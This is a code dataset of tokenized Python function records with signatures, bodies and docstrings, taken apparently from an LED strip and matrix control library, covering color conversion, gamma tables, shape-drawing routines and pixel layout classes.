{"signature": "def color_to_name(color, use_hex=False):", "body": "if isinstance(color, list):<EOL><INDENT>color = tuple(color)<EOL><DEDENT>elif not isinstance(color, tuple):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if use_hex:<EOL><INDENT>return '<STR_LIT>' % color<EOL><DEDENT>return tables.get_name(color) or str(color)<EOL>", "docstring": ":param tuple color: an RGB 3-tuple of integer colors\n:returns: a string name for this color\n\n``name_to_color(color_to_name(c)) == c`` is guaranteed to be true (but the\nreverse is not true, because name_to_color is a many-to-one function).", "id": "f2035:m1"}
{"signature": "def toggle(s):", "body": "is_numeric = '<STR_LIT:U+002C>' in s or s.startswith('<STR_LIT>') or s.startswith('<STR_LIT:#>')<EOL>c = name_to_color(s)<EOL>return color_to_name(c) if is_numeric else str(c)<EOL>", "docstring": "Toggle back and forth between a name and a tuple representation.\n\n:param str s: a string which is either a text name, or a tuple-string:\n              a string with three numbers separated by commas\n\n:returns: if the string was a text name, return a tuple.  If it's a\n          tuple-string and it corresponds to a text name, return the text\n          name, else return the original tuple-string.", "id": "f2035:m2"}
{"signature": "def to_color(c):", "body": "if isinstance(c, numbers.Number):<EOL><INDENT>return c, c, c<EOL><DEDENT>if not c:<EOL><INDENT>raise ValueError('<STR_LIT>' % c)<EOL><DEDENT>if isinstance(c, str):<EOL><INDENT>return name_to_color(c)<EOL><DEDENT>if isinstance(c, list):<EOL><INDENT>c = tuple(c)<EOL><DEDENT>if isinstance(c, tuple):<EOL><INDENT>if len(c) > <NUM_LIT:3>:<EOL><INDENT>return c[:<NUM_LIT:3>]<EOL><DEDENT>while len(c) < <NUM_LIT:3>:<EOL><INDENT>c += (c[-<NUM_LIT:1>],)<EOL><DEDENT>return c<EOL><DEDENT>raise ValueError('<STR_LIT>' % c)<EOL>", "docstring": "Try to coerce the argument into a color - a 3-tuple of numbers-", "id": "f2035:m4"}
{"signature": "def color_blend(a, b):", "body": "return (<NUM_LIT:255> - (((<NUM_LIT:255> - a[<NUM_LIT:0>]) * (<NUM_LIT:255> - b[<NUM_LIT:0>])) >> <NUM_LIT:8>),<EOL><NUM_LIT:255> - (((<NUM_LIT:255> - a[<NUM_LIT:1>]) * (<NUM_LIT:255> - b[<NUM_LIT:1>])) >> <NUM_LIT:8>),<EOL><NUM_LIT:255> - (((<NUM_LIT:255> - a[<NUM_LIT:2>]) * (<NUM_LIT:255> - b[<NUM_LIT:2>])) >> <NUM_LIT:8>))<EOL>", "docstring": "Performs a Screen blend on RGB color tuples, a and b", "id": "f2036:m0"}
{"signature": "def color_scale(color, level):", "body": "return tuple([int(i * level) >> <NUM_LIT:8> for i in list(color)])<EOL>", "docstring": "Scale RGB tuple by level, 0 - 256", "id": "f2036:m1"}
{"signature": "def __init__(self, gamma=<NUM_LIT:1.0>, offset=<NUM_LIT:0>, lower_bound=<NUM_LIT:0>):", "body": "self.gamma = gamma<EOL>self.offset = offset<EOL>self.lower_bound = lower_bound<EOL>width = <NUM_LIT:255> - lower_bound<EOL>def gam(i):<EOL><INDENT>return int(lower_bound + pow(i / <NUM_LIT:255>, gamma) * width + offset)<EOL><DEDENT>self.table = tuple(gam(i) for i in range(<NUM_LIT>))<EOL>", "docstring": ":param float gamma: the root for gamma computation\n:param float offset: an offset added to the result\n:param int lower_bound: The lowest possible output value - the highest\n                        is always 255.", "id": "f2037:c0:m0"}
{"signature": "def get(self, i):", "body": "return self.table[max(<NUM_LIT:0>, min(<NUM_LIT:255>, int(i)))]<EOL>", "docstring": ":returns: The gamma table entry\n:param int i: the index into the table", "id": "f2037:c0:m1"}
{"signature": "def get(name=None):", "body": "if name is None or name == '<STR_LIT:default>':<EOL><INDENT>return _DEFAULT_PALETTE<EOL><DEDENT>if isinstance(name, str):<EOL><INDENT>return PROJECT_PALETTES.get(name) or BUILT_IN_PALETTES.get(name)<EOL><DEDENT>", "docstring": "Return a named Palette, or None if no such name exists.\n\nIf ``name`` is omitted, the default value is used.", "id": "f2041:m0"}
{"signature": "def UpdateThreading(enable, layout):", "body": "return (UseThreading if enable else NoThreading)(layout)<EOL>", "docstring": "UpdateThreading handles threading - and eventually multiprocessing - for\nLayout.", "id": "f2042:m0"}
{"signature": "def push_to_driver(self):", "body": "self.wait_for_update()<EOL>self.update_colors()<EOL>", "docstring": "Push the current pixel state to the driver", "id": "f2042:c2:m3"}
{"signature": "def draw_circle(setter, x0, y0, r, color=None):", "body": "f = <NUM_LIT:1> - r<EOL>ddF_x = <NUM_LIT:1><EOL>ddF_y = -<NUM_LIT:2> * r<EOL>x = <NUM_LIT:0><EOL>y = r<EOL>setter(x0, y0 + r, color)<EOL>setter(x0, y0 - r, color)<EOL>setter(x0 + r, y0, color)<EOL>setter(x0 - r, y0, color)<EOL>while x < y:<EOL><INDENT>if f >= <NUM_LIT:0>:<EOL><INDENT>y -= <NUM_LIT:1><EOL>ddF_y += <NUM_LIT:2><EOL>f += ddF_y<EOL><DEDENT>x += <NUM_LIT:1><EOL>ddF_x += <NUM_LIT:2><EOL>f += ddF_x<EOL>setter(x0 + x, y0 + y, color)<EOL>setter(x0 - x, y0 + y, color)<EOL>setter(x0 + x, y0 - y, color)<EOL>setter(x0 - x, y0 - y, color)<EOL>setter(x0 + y, y0 + x, color)<EOL>setter(x0 - y, y0 + x, color)<EOL>setter(x0 + y, y0 - x, color)<EOL>setter(x0 - y, y0 - x, color)<EOL><DEDENT>", "docstring": "Draws a circle at point x0, y0 with radius r of the specified RGB color", "id": "f2044:m0"}
{"signature": "def fill_circle(setter, x0, y0, r, color=None):", "body": "_draw_fast_vline(setter, x0, y0 - r, <NUM_LIT:2> * r + <NUM_LIT:1>, color)<EOL>_fill_circle_helper(setter, x0, y0, r, <NUM_LIT:3>, <NUM_LIT:0>, color)<EOL>", "docstring": "Draws a filled circle at point x0,y0 with radius r and specified color", "id": "f2044:m3"}
{"signature": "def bresenham_line(setter, x0, y0, x1, y1, color=None, colorFunc=None):", "body": "steep = abs(y1 - y0) > abs(x1 - x0)<EOL>if steep:<EOL><INDENT>x0, y0 = y0, x0<EOL>x1, y1 = y1, x1<EOL><DEDENT>if x0 > x1:<EOL><INDENT>x0, x1 = x1, x0<EOL>y0, y1 = y1, y0<EOL><DEDENT>dx = x1 - x0<EOL>dy = abs(y1 - y0)<EOL>err = dx / <NUM_LIT:2><EOL>if y0 < y1:<EOL><INDENT>ystep = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ystep = -<NUM_LIT:1><EOL><DEDENT>count = <NUM_LIT:0><EOL>for x in range(x0, x1 + <NUM_LIT:1>):<EOL><INDENT>if colorFunc:<EOL><INDENT>color = colorFunc(count)<EOL>count += <NUM_LIT:1><EOL><DEDENT>if steep:<EOL><INDENT>setter(y0, x, color)<EOL><DEDENT>else:<EOL><INDENT>setter(x, y0, color)<EOL><DEDENT>err -= dy<EOL>if err < <NUM_LIT:0>:<EOL><INDENT>y0 += ystep<EOL>err += dx<EOL><DEDENT><DEDENT>", "docstring": "Draw line from point x0,y0 to x,1,y1. Will draw beyond matrix bounds.", "id": "f2044:m5"}
{"signature": "def draw_rect(setter, x, y, w, h, color=None, aa=False):", "body": "_draw_fast_hline(setter, x, y, w, color, aa)<EOL>_draw_fast_hline(setter, x, y + h - <NUM_LIT:1>, w, color, aa)<EOL>_draw_fast_vline(setter, x, y, h, color, aa)<EOL>_draw_fast_vline(setter, x + w - <NUM_LIT:1>, y, h, color, aa)<EOL>", "docstring": "Draw rectangle with top-left corner at x,y, width w and height h", "id": "f2044:m9"}
{"signature": "def fill_rect(setter, x, y, w, h, color=None, aa=False):", "body": "for i in range(x, x + w):<EOL><INDENT>_draw_fast_vline(setter, i, y, h, color, aa)<EOL><DEDENT>", "docstring": "Draw solid rectangle with top-left corner at x,y, width w and height h", "id": "f2044:m10"}
{"signature": "def draw_round_rect(setter, x, y, w, h, r, color=None, aa=False):", "body": "_draw_fast_hline(setter, x + r, y, w - <NUM_LIT:2> * r, color, aa)  <EOL>_draw_fast_hline(setter, x + r, y + h - <NUM_LIT:1>, w - <NUM_LIT:2> * r, color, aa)  <EOL>_draw_fast_vline(setter, x, y + r, h - <NUM_LIT:2> * r, color, aa)  <EOL>_draw_fast_vline(setter, x + w - <NUM_LIT:1>, y + r, h - <NUM_LIT:2> * r, color, aa)  <EOL>_draw_circle_helper(setter, x + r, y + r, r, <NUM_LIT:1>, color, aa)<EOL>_draw_circle_helper(setter, x + w - r - <NUM_LIT:1>, y + r, r, <NUM_LIT:2>, color, aa)<EOL>_draw_circle_helper(setter, x + w - r - <NUM_LIT:1>, y + h - r - <NUM_LIT:1>, r, <NUM_LIT:4>, color, aa)<EOL>_draw_circle_helper(setter, x + r, y + h - r - <NUM_LIT:1>, r, <NUM_LIT:8>, color, aa)<EOL>", "docstring": "Draw rectangle with top-left corner at x,y, width w, height h,\n    and corner radius r.", "id": "f2044:m11"}
{"signature": "def fill_round_rect(setter, x, y, w, h, r, color=None, aa=False):", "body": "fill_rect(setter, x + r, y, w - <NUM_LIT:2> * r, h, color, aa)<EOL>_fill_circle_helper(setter, x + w - r - <NUM_LIT:1>, y + r, r,<EOL><NUM_LIT:1>, h - <NUM_LIT:2> * r - <NUM_LIT:1>, color, aa)<EOL>_fill_circle_helper(setter, x + r, y + r, r, <NUM_LIT:2>, h - <NUM_LIT:2> * r - <NUM_LIT:1>, color, aa)<EOL>", "docstring": "Draw solid rectangle with top-left corner at x,y, width w, height h,\n    and corner radius r", "id": "f2044:m12"}
{"signature": "def draw_triangle(setter, x0, y0, x1, y1, x2, y2, color=None, aa=False):", "body": "draw_line(setter, x0, y0, x1, y1, color, aa)<EOL>draw_line(setter, x1, y1, x2, y2, color, aa)<EOL>draw_line(setter, x2, y2, x0, y0, color, aa)<EOL>", "docstring": "Draw triangle with points x0,y0 - x1,y1 - x2,y2", "id": "f2044:m13"}
{"signature": "def fill_triangle(setter, x0, y0, x1, y1, x2, y2, color=None, aa=False):", "body": "a = b = y = last = <NUM_LIT:0><EOL>if y0 > y1:<EOL><INDENT>y0, y1 = y1, y0<EOL>x0, x1 = x1, x0<EOL><DEDENT>if y1 > y2:<EOL><INDENT>y2, y1 = y1, y2<EOL>x2, x1 = x1, x2<EOL><DEDENT>if y0 > y1:<EOL><INDENT>y0, y1 = y1, y0<EOL>x0, x1 = x1, x0<EOL><DEDENT>if y0 == y2:  <EOL><INDENT>a = b = x0<EOL>if x1 < a:<EOL><INDENT>a = x1<EOL><DEDENT>elif x1 > b:<EOL><INDENT>b = x1<EOL><DEDENT>if x2 < a:<EOL><INDENT>a = x2<EOL><DEDENT>elif x2 > b:<EOL><INDENT>b = x2<EOL>_draw_fast_hline(setter, a, y0, b - a + <NUM_LIT:1>, color, aa)<EOL><DEDENT><DEDENT>dx01 = x1 - x0<EOL>dy01 = y1 - y0<EOL>dx02 = x2 - x0<EOL>dy02 = y2 - y0<EOL>dx12 = x2 - x1<EOL>dy12 = y2 - y1<EOL>sa = <NUM_LIT:0><EOL>sb = <NUM_LIT:0><EOL>if y1 == y2:<EOL><INDENT>last = y1  <EOL><DEDENT>else:<EOL><INDENT>last = y1 - <NUM_LIT:1>  <EOL><DEDENT>for y in range(y, last + <NUM_LIT:1>):<EOL><INDENT>a = x0 + sa / dy01<EOL>b = x0 + sb / dy02<EOL>sa += dx01<EOL>sb += dx02<EOL>if a > b:<EOL><INDENT>a, b = b, a<EOL>_draw_fast_hline(setter, a, y, b - a + <NUM_LIT:1>, color, aa)<EOL><DEDENT><DEDENT>sa = dx12 * (y - y1)<EOL>sb = dx02 * (y - y0)<EOL>for y in range(y, y2 + <NUM_LIT:1>):<EOL><INDENT>a = x1 + sa / dy12<EOL>b = x0 + sb / dy02<EOL>sa += dx12<EOL>sb += dx02<EOL>if a > b:<EOL><INDENT>a, b = b, a<EOL>_draw_fast_hline(setter, a, y, b - a + <NUM_LIT:1>, color, aa)<EOL><DEDENT><DEDENT>", "docstring": "Draw solid triangle with points x0,y0 - x1,y1 - x2,y2", "id": "f2044:m14"}
{"signature": "def __init__(self, drivers, width=<NUM_LIT:0>, height=<NUM_LIT:0>,<EOL>rotation=<NUM_LIT:0>, vert_flip=False, y_flip=False,<EOL>serpentine=True,<EOL>threadedUpdate=False, brightness=<NUM_LIT:255>,<EOL>pixelSize=(<NUM_LIT:1>, <NUM_LIT:1>), **kwargs):", "body": "self.gen_multi = make_matrix_coord_map_multi<EOL>super().__init__(drivers, threadedUpdate, brightness, **kwargs)<EOL>rot_mod = rotation % <NUM_LIT><EOL>self.rotation = <NUM_LIT> * round(rot_mod / <NUM_LIT>)<EOL>if self.rotation != rot_mod:<EOL><INDENT>log.warning(ROTATION_WARNING, rotation, self.rotation)<EOL><DEDENT>self.width = width or getattr(self.drivers[<NUM_LIT:0>], '<STR_LIT:width>') or <NUM_LIT:0><EOL>self.height = height or getattr(self.drivers[<NUM_LIT:0>], '<STR_LIT>') or <NUM_LIT:0><EOL>self.vert_flip = vert_flip<EOL>self.y_flip = y_flip<EOL>self.serpentine = serpentine<EOL>self.pixelSize = pixelSize<EOL>pw, ph = self.pixelSize<EOL>if not (self.width or self.height):<EOL><INDENT>square = int(math.sqrt(self.numLEDs))<EOL>if (square * square) == self.numLEDs:<EOL><INDENT>self.width = self.height = square<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if self.width * self.height > self.numLEDs:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>% (self.width, self.height, self.numLEDs))<EOL><DEDENT>if not self.coord_map:<EOL><INDENT>if len(self.drivers) == <NUM_LIT:1>:<EOL><INDENT>log.debug(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>y_flip = y_flip or vert_flip<EOL>self.coord_map = make_matrix_coord_map(<EOL>self.width, self.height,<EOL>serpentine=serpentine,<EOL>rotation=rotation,<EOL>y_flip=vert_flip)<EOL><DEDENT>elif self.drivers:<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>self.set_pixel_positions(<EOL>make_matrix_coord_map_positions(self.coord_map))<EOL>if rotation in (<NUM_LIT>, <NUM_LIT>):<EOL><INDENT>w = self.width<EOL>h = self.height<EOL>self.width = h<EOL>self.height = w<EOL><DEDENT>self.texture = None<EOL>self.set = self._setColor<EOL>if pw < <NUM_LIT:0> or pw > self.width or ph < <NUM_LIT:0> or ph > self.height:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if self.width % pw != <NUM_LIT:0> or self.height % ph != <NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>if pw == <NUM_LIT:1> and ph == <NUM_LIT:1>:<EOL><INDENT>self._set = self.__setNormal<EOL><DEDENT>else:<EOL><INDENT>self._set = self.__setScaled<EOL>self.width = self.width / pw<EOL>self.height = self.height / ph<EOL>self.numLEDs = self.width * self.height<EOL><DEDENT>self.fonts = font.fonts<EOL>", "docstring": "Main class for matricies.\n\n        driver --  instance that inherits from DriverBase\n        width --  X axis size of matrix\n        height --  Y axis size of matrix\n        coord_map --  a 2D matrix defining the X,Y to strip index mapping.\n            Not needed in most cases\n        rotation -- how to rotate when generating the map.\n            Not used if coord_map specified\n        vert_flip - flips the generated map along the Y axis.\n            This along with rotation can achieve any orientation", "id": "f2045:c0:m0"}
{"signature": "@property<EOL><INDENT>def shape(self):<DEDENT>", "body": "return self.width, self.height<EOL>", "docstring": "Returns ``width, height``", "id": "f2045:c0:m1"}
{"signature": "def get(self, x, y):", "body": "try:<EOL><INDENT>pixel = self.coord_map[y][x]<EOL>return self._get_base(pixel)<EOL><DEDENT>except IndexError:<EOL><INDENT>return colors.COLORS.Black<EOL><DEDENT>", "docstring": "Return the pixel color at position (x, y), or Colors.black if that\nposition is out-of-bounds.", "id": "f2045:c0:m2"}
{"signature": "def set(self, x, y, color):", "body": "<EOL>raise NotImplementedError<EOL>", "docstring": "Set the pixel color at position x, y.", "id": "f2045:c0:m3"}
{"signature": "def drawCircle(self, x0, y0, r, color=None):", "body": "md.draw_circle(self.set, x0, y0, r, color)<EOL>", "docstring": "Draw a circle in an RGB color, with center x0, y0 and radius r.", "id": "f2045:c0:m13"}
{"signature": "def fillCircle(self, x0, y0, r, color=None):", "body": "md.fill_circle(self.set, x0, y0, r, color)<EOL>", "docstring": "Draw a filled circle in an RGB color, with center x0, y0 and radius r.", "id": "f2045:c0:m14"}
{"signature": "def drawLine(self, x0, y0, x1, y1, color=None, colorFunc=None, aa=False):", "body": "md.draw_line(self.set, x0, y0, x1, y1, color, colorFunc, aa)<EOL>", "docstring": "Draw a between x0, y0 and x1, y1 in an RGB color.\n\n:param colorFunc: a function that takes an integer from x0 to x1 and\n    returns a color corresponding to that point\n:param aa: if True, use Bresenham's algorithm for line drawing;\n    otherwise use Xiaolin Wu's algorithm", "id": "f2045:c0:m15"}
{"signature": "def bresenham_line(self, x0, y0, x1, y1, color=None, colorFunc=None):", "body": "md.bresenham_line(self.set, x0, y0, x1, y1, color, colorFunc)<EOL>", "docstring": "Draw line from point x0, y0 to x1, y1 using Bresenham's algorithm.\n\nWill draw beyond matrix bounds.", "id": "f2045:c0:m16"}
{"signature": "def wu_line(self, x0, y0, x1, y1, color=None, colorFunc=None):", "body": "md.wu_line(self.set, x0, y0, x1, y1, color, colorFunc)<EOL>", "docstring": "Draw a between x0, y0 and x1, y1 in an RGB color.\n\n:param colorFunc: a function that takes an integer from x0 to x1 and\n    returns a color corresponding to that point\n:param aa: if True, use Bresenham's algorithm for line drawing;\n    otherwise use Xiaolin Wu's algorithm", "id": "f2045:c0:m17"}
{"signature": "def drawRect(self, x, y, w, h, color=None, aa=False):", "body": "md.draw_rect(self.set, x, y, w, h, color, aa)<EOL>", "docstring": "Draw rectangle with top-left corner at x,y, width w and height h\n\n:param aa: if True, use Bresenham's algorithm for line drawing;\n    otherwise use Xiaolin Wu's algorithm", "id": "f2045:c0:m18"}
{"signature": "def fillRect(self, x, y, w, h, color=None, aa=False):", "body": "md.fill_rect(self.set, x, y, w, h, color, aa)<EOL>", "docstring": "Draw a solid rectangle with top-left corner at (x, y), width w and\nheight h.\n\n:param aa: if True, use Bresenham's algorithm for line drawing;\n    otherwise use Xiaolin Wu's algorithm", "id": "f2045:c0:m19"}
{"signature": "def fillScreen(self, color=None):", "body": "md.fill_rect(self.set, <NUM_LIT:0>, <NUM_LIT:0>, self.width, self.height, color)<EOL>", "docstring": "Fill the matrix with the given RGB color", "id": "f2045:c0:m20"}
{"signature": "def drawRoundRect(self, x, y, w, h, r, color=None, aa=False):", "body": "md.draw_round_rect(self.set, x, y, w, h, r, color, aa)<EOL>", "docstring": "Draw a rounded rectangle with top-left corner at (x, y), width w,\nheight h, and corner radius r\n\n:param aa: if True, use Bresenham's algorithm for line drawing;\n    otherwise use Xiaolin Wu's algorithm", "id": "f2045:c0:m21"}
{"signature": "def fillRoundRect(self, x, y, w, h, r, color=None, aa=False):", "body": "md.fill_round_rect(self.set, x, y, w, h, r, color, aa)<EOL>", "docstring": "Draw a rounded rectangle with top-left corner at (x, y), width w,\nheight h, and corner radius r\n\n:param aa: if True, use Bresenham's algorithm for line drawing;\n    otherwise use Xiaolin Wu's algorithm", "id": "f2045:c0:m22"}
{"signature": "def drawTriangle(self, x0, y0, x1, y1, x2, y2, color=None, aa=False):", "body": "md.draw_triangle(self.set, x0, y0, x1, y1, x2, y2, color, aa)<EOL>", "docstring": "Draw triangle with vertices (x0, y0), (x1, y1) and (x2, y2)\n\n:param aa: if True, use Bresenham's algorithm for line drawing;\n    Otherwise use Xiaolin Wu's algorithm", "id": "f2045:c0:m23"}
{"signature": "def fillTriangle(self, x0, y0, x1, y1, x2, y2, color=None, aa=False):", "body": "md.fill_triangle(self.set, x0, y0, x1, y1, x2, y2, color, aa)<EOL>", "docstring": "Draw filled triangle with points x0,y0 - x1,y1 - x2,y2\n\n:param aa: if True, use Bresenham's algorithm for line drawing;\n    otherwise use Xiaolin Wu's algorithm", "id": "f2045:c0:m24"}
{"signature": "def drawChar(self, x, y, c, color, bg,<EOL>aa=False, font=font.default_font, font_scale=<NUM_LIT:1>):", "body": "md.draw_char(self.fonts, self.set, self.width, self.height,<EOL>x, y, c, color, bg, aa, font, font_scale)<EOL>", "docstring": "Draw a single character c at at (x, y) in an RGB color.", "id": "f2045:c0:m25"}
{"signature": "def drawText(self, text, x=<NUM_LIT:0>, y=<NUM_LIT:0>, color=None,<EOL>bg=colors.COLORS.Off, aa=False, font=font.default_font,<EOL>font_scale=<NUM_LIT:1>):", "body": "md.draw_text(self.fonts, self.set, text, self.width, self.height,<EOL>x, y, color, bg, aa, font, font_scale)<EOL>", "docstring": "Draw a line of text starting at (x, y) in an RGB color.\n\n:param colorFunc: a function that takes an integer from x0 to x1 and\n    returns a color corresponding to that point\n:param aa: if True, use Bresenham's algorithm for line drawing;\n    otherwise use Xiaolin Wu's algorithm", "id": "f2045:c0:m26"}
{"signature": "@property<EOL><INDENT>def shape(self):<DEDENT>", "body": "return self.ringCount, self.ringSteps<EOL>", "docstring": "Returns ``ringCount, ringSteps``.", "id": "f2046:c0:m2"}
{"signature": "def set(self, ring, angle, color):", "body": "pixel = self.angleToPixel(angle, ring)<EOL>self._set_base(pixel, color)<EOL>", "docstring": "Set pixel to RGB color tuple", "id": "f2046:c0:m5"}
{"signature": "def get(self, ring, angle):", "body": "pixel = self.angleToPixel(angle, ring)<EOL>return self._get_base(pixel)<EOL>", "docstring": "Get RGB color tuple of color at index pixel", "id": "f2046:c0:m6"}
{"signature": "@property<EOL><INDENT>def shape(self):<DEDENT>", "body": "return self.x, self.y, self.z<EOL>", "docstring": "Returns ``x, y, z``", "id": "f2048:c0:m2"}
{"signature": "def apply(self, function):", "body": "for cut in self.cuts:<EOL><INDENT>value = self.read(cut)<EOL>function(value)<EOL>self.write(cut, value)<EOL><DEDENT>", "docstring": "For each row or column in cuts, read a list of its colors,\napply the function to that list of colors, then write it back\nto the layout.", "id": "f2050:c0:m1"}
{"signature": "@property<EOL><INDENT>def shape(self):<DEDENT>", "body": "return self.numLEDs,<EOL>", "docstring": "Returns a 1-tuple with the length of the strip", "id": "f2051:c0:m1"}
{"signature": "def get(self, pixel):", "body": "return self._get_base(pixel * self.pixelWidth)<EOL>", "docstring": "Get RGB color tuple of color at index pixel", "id": "f2051:c0:m2"}
{"signature": "def set(self, pixel, color):", "body": "<EOL>raise NotImplementedError<EOL>", "docstring": "Set the pixel color at position x in the strip.", "id": "f2051:c0:m3"}
{"signature": "def _set(self, pixel, color):", "body": "self.set_base(pixel, color)<EOL>", "docstring": "Set pixel to RGB color tuple", "id": "f2051:c0:m5"}
{"signature": "def setRGB(self, pixel, r, g, b):", "body": "self.set(pixel, (r, g, b))<EOL>", "docstring": "Set single pixel using individual RGB values instead of tuple", "id": "f2051:c0:m7"}
{"signature": "def setHSV(self, pixel, hsv):", "body": "color = conversions.hsv2rgb(hsv)<EOL>self.set(pixel, color)<EOL>", "docstring": "Set single pixel to HSV tuple", "id": "f2051:c0:m8"}
{"signature": "def setOff(self, pixel):", "body": "self.set(pixel, (<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>))<EOL>", "docstring": "Set single pixel off", "id": "f2051:c0:m9"}
{"signature": "@classmethod<EOL><INDENT>def construct(cls, project, **desc):<DEDENT>", "body": "return cls(project.drivers, maker=project.maker, **desc)<EOL>", "docstring": "Construct a layout.\n        SHOULD BE PRIVATE", "id": "f2052:c0:m0"}
{"signature": "def set_pixel_positions(self, pixel_positions):", "body": "for d in self.drivers:<EOL><INDENT>d.set_pixel_positions(pixel_positions)<EOL><DEDENT>", "docstring": "SHOULD BE PRIVATE", "id": "f2052:c0:m2"}
{"signature": "def clone(self):", "body": "args = {k: getattr(self, k) for k in self.CLONE_ATTRS}<EOL>args['<STR_LIT>'] = copy.copy(self.color_list)<EOL>return self.__class__([], **args)<EOL>", "docstring": "Return an independent copy of this layout with a completely separate\ncolor_list and no drivers.", "id": "f2052:c0:m8"}
{"signature": "@property<EOL><INDENT>def shape(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return a tuple indicating the dimensions of the layout - (x,) for a\nstrip, (x, y) for an array, (x, y, z) for a cube, and\n(ring_count, ring_steps) for a circle.", "id": "f2052:c0:m9"}
{"signature": "def set_color_list(self, color_list, offset=<NUM_LIT:0>):", "body": "if not len(color_list):<EOL><INDENT>return<EOL><DEDENT>color_list = make.colors(color_list)<EOL>size = len(self._colors) - offset<EOL>if len(color_list) > size:<EOL><INDENT>color_list = color_list[:size]<EOL><DEDENT>self._colors[offset:offset + len(color_list)] = color_list<EOL>", "docstring": "Set the internal colors starting at an optional offset.\n\nIf `color_list` is a list or other 1-dimensional array, it is reshaped\ninto an N x 3 list.\n\nIf `color_list` too long it is truncated; if it is too short then only\nthe initial colors are set.", "id": "f2052:c0:m13"}
{"signature": "def push_to_driver(self):", "body": "<EOL>self.threading.push_to_driver()<EOL>", "docstring": "Push the current pixel state to the driver\nDo not call this method from user code!", "id": "f2052:c0:m17"}
{"signature": "def setRGB(self, pixel, r, g, b):", "body": "self._set_base(pixel, (r, g, b))<EOL>", "docstring": "Set single pixel using individual RGB values instead of tuple", "id": "f2052:c0:m19"}
{"signature": "def setHSV(self, pixel, hsv):", "body": "color = conversions.hsv2rgb(hsv)<EOL>self._set_base(pixel, color)<EOL>", "docstring": "Set single pixel to HSV tuple", "id": "f2052:c0:m20"}
{"signature": "def setOff(self, pixel):", "body": "self._set_base(pixel, (<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>))<EOL>", "docstring": "Set single pixel off", "id": "f2052:c0:m21"}
{"signature": "def all_off(self):", "body": "self._colors[:] = [(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>)] * self.numLEDs<EOL>", "docstring": "Set all pixels off", "id": "f2052:c0:m22"}
{"signature": "def fill(self, color, start=<NUM_LIT:0>, end=-<NUM_LIT:1>):", "body": "start = max(start, <NUM_LIT:0>)<EOL>if end < <NUM_LIT:0> or end >= self.numLEDs:<EOL><INDENT>end = self.numLEDs - <NUM_LIT:1><EOL><DEDENT>for led in range(start, end + <NUM_LIT:1>):  <EOL><INDENT>self._set_base(led, color)<EOL><DEDENT>", "docstring": "Fill the entire strip with RGB color tuple", "id": "f2052:c0:m23"}
{"signature": "def fillRGB(self, r, g, b, start=<NUM_LIT:0>, end=-<NUM_LIT:1>):", "body": "self.fill((r, g, b), start, end)<EOL>", "docstring": "Fill entire strip by giving individual RGB values instead of tuple", "id": "f2052:c0:m24"}
{"signature": "def fillHSV(self, hsv, start=<NUM_LIT:0>, end=-<NUM_LIT:1>):", "body": "self.fill(conversions.hsv2rgb(hsv), start, end)<EOL>", "docstring": "Fill the entire strip with HSV color tuple", "id": "f2052:c0:m25"}
{"signature": "def set_colors(self, buf):", "body": "deprecated.deprecated('<STR_LIT>')<EOL>if len(self._colors) != len(buf):<EOL><INDENT>raise IOError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>.format(len(self._colors), len(buf)))<EOL><DEDENT>self._colors[:] = buf<EOL>", "docstring": "DEPRECATED: use self.color_list\n\nUse with extreme caution!\nDirectly sets the internal buffer and bypasses all brightness and\nrotation control buf must also be in the exact format required by the\ndisplay type.", "id": "f2052:c1:m2"}
{"signature": "def reflect_x(x, y, matrix):", "body": "return matrix.columns - <NUM_LIT:1> - x, y<EOL>", "docstring": "Reflect the index vertically.", "id": "f2053:m0"}
{"signature": "def reflect_y(x, y, matrix):", "body": "return x, matrix.rows - <NUM_LIT:1> - y<EOL>", "docstring": "Reflect the index horizontally.", "id": "f2053:m1"}
{"signature": "def serpentine_x(x, y, matrix):", "body": "if y % <NUM_LIT:2>:<EOL><INDENT>return matrix.columns - <NUM_LIT:1> - x, y<EOL><DEDENT>return x, y<EOL>", "docstring": "Every other row is indexed in reverse.", "id": "f2053:m2"}
{"signature": "def serpentine_y(x, y, matrix):", "body": "if x % <NUM_LIT:2>:<EOL><INDENT>return x, matrix.rows - <NUM_LIT:1> - y<EOL><DEDENT>return x, y<EOL>", "docstring": "Every other column is indexed in reverse.", "id": "f2053:m3"}
{"signature": "def transpose(x, y, _):", "body": "return y, x<EOL>", "docstring": "Transpose rows and columns.", "id": "f2053:m4"}
{"signature": "def make_matrix_coord_map(<EOL>dx, dy, serpentine=True, offset=<NUM_LIT:0>, rotation=<NUM_LIT:0>, y_flip=False):", "body": "result = []<EOL>for y in range(dy):<EOL><INDENT>if not serpentine or y % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>result.append([(dx * y) + x + offset for x in range(dx)])<EOL><DEDENT>else:<EOL><INDENT>result.append([dx * (y + <NUM_LIT:1>) - <NUM_LIT:1> - x + offset for x in range(dx)])<EOL><DEDENT><DEDENT>result = rotate_and_flip(result, rotation, y_flip)<EOL>return result<EOL>", "docstring": "Helper method to generate X,Y coordinate maps for strips", "id": "f2055:m0"}
{"signature": "def make_segments(strip, length):", "body": "if len(strip) % length:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>s = []<EOL>try:<EOL><INDENT>while True:<EOL><INDENT>s.append(s[-<NUM_LIT:1>].next(length) if s else Segment(strip, length))<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>return s<EOL><DEDENT>", "docstring": "Return a list of Segments that evenly split the strip.", "id": "f2059:m0"}
{"signature": "def next(self, length):", "body": "return Segment(self.strip, length, self.offset + self.length)<EOL>", "docstring": "Return a new segment starting right after self in the same buffer.", "id": "f2059:c0:m4"}
